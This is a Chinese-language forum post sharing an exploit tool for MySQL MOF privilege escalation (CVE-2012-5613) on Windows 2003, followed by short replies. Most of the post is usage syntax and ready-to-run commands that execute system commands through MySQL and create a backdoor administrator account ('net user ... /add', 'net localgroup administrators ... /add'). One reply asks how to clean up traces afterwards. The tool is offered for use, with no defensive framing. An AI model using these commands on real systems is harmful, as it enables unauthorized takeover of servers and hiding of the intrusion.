Mysql_mof提权

david2013

测试环境：win2003 x86

1、支持自定义命令
2、支持远程和本地
3、用法
C:\>mysqlMof.exe
Usage: mysqlMof.exe host [port] username password [database] CMD [CHARSET]
Demo:  mysqlMof.exe MysqlMof.exe localhost 3306 root root test "notepad.exe" gbk

加用户(同时执行可能会不成功)，分别执行：
3.1、mysqlMof.exe MysqlMof.exe localhost 3306 root root test "net user test test /add" gbk

等test添加成功

3.2、mysqlMof.exe MysqlMof.exe localhost 3306 root root test "net localgroup administrators test /add" gbk

_CVE-2012-5613详情：http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5613

冰刀

收下了
---
EXP有木有呀

热心网友5

感谢分享！这个工具看起来很实用，能通过MySQL MOF直接执行系统命令，提权效率挺高。想问一下，win2003环境下使用需要注意哪些细节？比如MySQL的版本、权限要求，或者执行后如何清理痕迹？